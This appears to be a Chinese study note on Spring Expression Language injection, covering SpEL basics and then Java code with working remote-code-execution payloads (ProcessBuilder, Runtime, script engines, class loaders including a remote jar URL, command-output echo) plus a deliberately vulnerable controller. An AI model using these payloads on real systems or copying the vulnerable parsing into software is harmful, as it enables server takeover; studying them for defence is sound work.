https://www.cnblogs.com/bitterz/p/15206255.html
https://xz.aliyun.com/news/8744
https://drun1baby.top/2022/09/23/Java-%E4%B9%8B-SpEL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5
主要看的这三篇文章,下面简要整理一下我认为的重点。
SPEL表达式基础
定界符#{}
SpEL 使用 #{} 作为定界符,所有在大括号中的字符都将被认为是 SpEL 表达式,在其中可以使用 SpEL 运算符、变量、引用 Bean 及其属性和方法等。
这里需要注意 #{} 和 ${} 的区别:
#{} 就是 SpEL 的定界符,用于指明内容未 SpEL 表达式并执行;
${} 主要用于加载外部属性文件中的值;
两者可以混合使用,但是必须 #{} 在外面,${} 在里面,如 #{'${}'},注意单引号是字符串类型才添加的;
主要用法
xml配置文件
可以在bean配置文件中,对类属性类方法进行引用:
1 2 3 4 5 6 7
   | <bean id="kenny" class="com.spring.entity.Instrumentalist"     p:song="May Rain"     p:instrument-ref="piano"/> <bean id="Drunkbaby" class="com.spring.entity.Instrumentalist">     <property name="instrument" value="#{kenny.instrument}"/>     <property name="song" value="#{kenny.song}"/> </bean>
   | 
 
可以通过T()来访问类,类的静态方法和静态变量,这个很重要:
1 2 3 4 5 6 7 8 9 10 11
   | <?xml version="1.0" encoding="UTF-8"?>   <beans xmlns="http://www.springframework.org/schema/beans"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xsi:schemaLocation="http://www.springframework.org/schema/beans    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">          <bean id="helloWorld" class="com.drunkbaby.pojo.HelloWorld">           <property name="message" value="#{'Drunkbaby'} is #{T(java.lang.Math).random()}" />       </bean>      </beans>
   | 
 
这部分和ClassPathXml加载xml文件实现代码执行有联系,xml里也是通过SPEL来写payload的:


@Value注解
一般是注入配置文件中的值
1 2 3 4 5 6 7
   | public class EmailSender {     @Value("${spring.mail.username}")     private String mailUsername;     @Value("#{ systemProperties['user.region'] }")         private String defaultLocale;      }
  | 
 
代码块中使用Expression
应用示例如下,和前面 XML 配置的用法区别在于程序会将这里传入 parseExpression() 函数的字符串参数当初 SpEL 表达式来解析,而无需通过 #{} 符号来注明:
1 2 3 4 5
   | ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression("('Hello' + ' Drunkbaby').concat(#end)"); EvaluationContext context = new StandardEvaluationContext(); context.setVariable("end", "!"); System.out.println(expression.getValue(context));
   | 
 
注意里面的#end,这代表引用变量。
#this:使用当前正在计算的上下文;
#root:引用容器的 root 对象;
每一行的意思:
1、创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
2、解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
3、构造上下文:准备比如变量定义等等表达式需要的上下文数据;(可省略)
4、求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;
主要接口:
ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。
利用方式
RCE第一部分
调用ProcessBuilder,调用Runtime,调用ScriptEngine
直接看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
   | package com.test;
  import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser;
  import javax.script.ScriptEngineFactory; import javax.script.ScriptEngineManager; import java.util.List;
 
  public class RcePart1 {     public static void main(String[] args) {
 
 
 
          javascript();     }
      public static void pb() {         String cmdStr = "new java.lang.ProcessBuilder(new String[]{'calc'}).start()";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
      public static void runtime() {         String cmdStr = "T(Runtime).getRuntime().exec(new String[]{'cmd.exe', '/c', 'notepad'})";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
      public static void getEngineFactory() {         ScriptEngineManager manager = new ScriptEngineManager();         List<ScriptEngineFactory> factories = manager.getEngineFactories();         for (ScriptEngineFactory factory: factories){             System.out.printf(                     "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +                             "Language version: %s%n" +                             "Extensions: %s%n" +                             "Mime types: %s%n" +                             "Names: %s%n",                     factory.getEngineName(),                     factory.getEngineVersion(),                     factory.getLanguageName(),                     factory.getLanguageVersion(),                     factory.getExtensions(),                     factory.getMimeTypes(),                     factory.getNames()             );         }     }
      public static void nashorn(){         String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
      public static void javascript(){         String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     } }
   | 
 
RCE第二部分
调用各式各样的ClassLoader,包括UrlClassLoader,AppClassLoader
直接看代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
   | package com.test;
  import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser;
  public class RcePart2 {     public static void main(String[] args) {
 
          getAppFromOtherClass();     }
           public static void urlLoader(){         String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(\"http://127.0.0.1:7777/Exp.jar\")}).loadClass(\"aaa.bbb.Exp\").getConstructors()[0].newInstance(\"calc\")";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
      public static void appLoader(){         String cmdStr = "T(ClassLoader).getSystemClassLoader().loadClass(\"java.lang.Runtime\").getRuntime().exec('calc')";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
      public static void getAppFromOtherClass(){         String cmdStr = "T(org.springframework.expression.Expression).getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
           public static void getUrlFromInnerClass(){         String cmdStr1 = "#request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")";         String cmdStr2 = "username[#this.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('xterm')\")]=asdf";     } }
   | 
 
回显利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
   | package com.test;
  import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser;
  public class RceEcho {     public static void main(String[] args) {
 
          scanner();     }
           public static void commons_io(){         String cmdStr = "T(org.apache.commons.io.IOUtils).toString((new java.lang.ProcessBuilder(new String[]{'whoami'}).start()).getInputStream())";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
           public static void jShell(){         String cmdStr = "T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass(\"jdk.jshell.JShell\",true).Methods[6].invoke(null,{}).eval(\"T(Runtime).getRuntime().exec('whoami')\").toString()";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
           public static void br(){         String cmdStr = "new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(\"cmd\", \"/c\", \"whoami\").start().getInputStream(), \"gbk\")).readLine()\n";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
           public static void scanner(){         String cmdStr = "new java.util.Scanner(new java.lang.ProcessBuilder(\"cmd\", \"/c\", \"dir\", \".\").start().getInputStream(), \"GBK\").useDelimiter(\"asfsfsdfsf\").next()\n";
          ExpressionParser parser = new SpelExpressionParser();         Expression exp = parser.parseExpression(cmdStr);         System.out.println( exp.getValue() );     }
  }
   | 
 
绕过技巧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | package com.test;
  public class BypassTrick {
 
 
 
 
 
 
 
 
 
 
 
  }
   | 
 
Web环境下利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
   | package com.spring.controller;
  import org.springframework.expression.Expression; import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody;
  import java.io.IOException;
  @Controller public class TestController {          @ResponseBody     @PostMapping(value = "/index")     public String index(String string) throws IOException {         SpelExpressionParser spelExpressionParser = new SpelExpressionParser();         Expression expression = spelExpressionParser.parseExpression(string);         String out = (String) expression.getValue();         out = out.concat(" get");         return out;     }
      @ResponseBody     @PostMapping(value = "/index2")     public String index2(String string) throws IOException {         SpelExpressionParser spelExpressionParser = new SpelExpressionParser();         TemplateParserContext templateParserContext = new TemplateParserContext();                  Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);         Integer out = (Integer) expression.getValue();         return Integer.toString(out);     } }
   | 
 
唯一要注意的是,/index2中,配置了ParseContext,所以传参要带上#{}
疑惑
1、从其他类获取的ClassLoader无法正常利用

2、无法在Web环境中获取#request,#this;不理解[[${}]]的作用


我这样会报错,去掉#也是。

不知道这里为什么传入[[${}]],不知道他web端怎么写的